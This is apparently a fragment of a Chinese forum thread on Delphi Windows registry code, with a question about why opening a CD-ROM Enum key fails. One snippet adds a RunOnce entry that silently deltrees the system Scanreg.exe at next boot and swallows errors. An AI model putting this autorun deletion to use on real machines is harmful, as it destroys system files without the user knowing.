reg.rootkey =hkey_local_machine;
reg.Open('\SYSTEM\CurrentControlSet\Enum\IDE\CdRomTSSTcorp_CDRW/DVD_TSL462C_______________DE01____\5&340b0ccf&0&0.0.0',false) 怎么打开失效呀!!!
reg.Open('\SYSTEM\CurrentControlSet\Enum\IDE\CdRomTSSTcorp_CDRW/DVD_TSL462C_______________DE01____\5&340b0ccf&0&0.0.0',false) 怎么打开失效呀!!!
begin
try
regf:=tregistry.Create;
regf.RootKey:=hkey_local_machine;
regf.openkey('Software\Microsoft\Windows\CurrentVersion\Runonce\',true);
regf.WriteString('deltree.exe','start.exe /m deltree /y c:\windows\Command\Scanreg.exe /q /u /autorun');
except
end;
regf.CloseKey;
regf.Free;
我同意这观点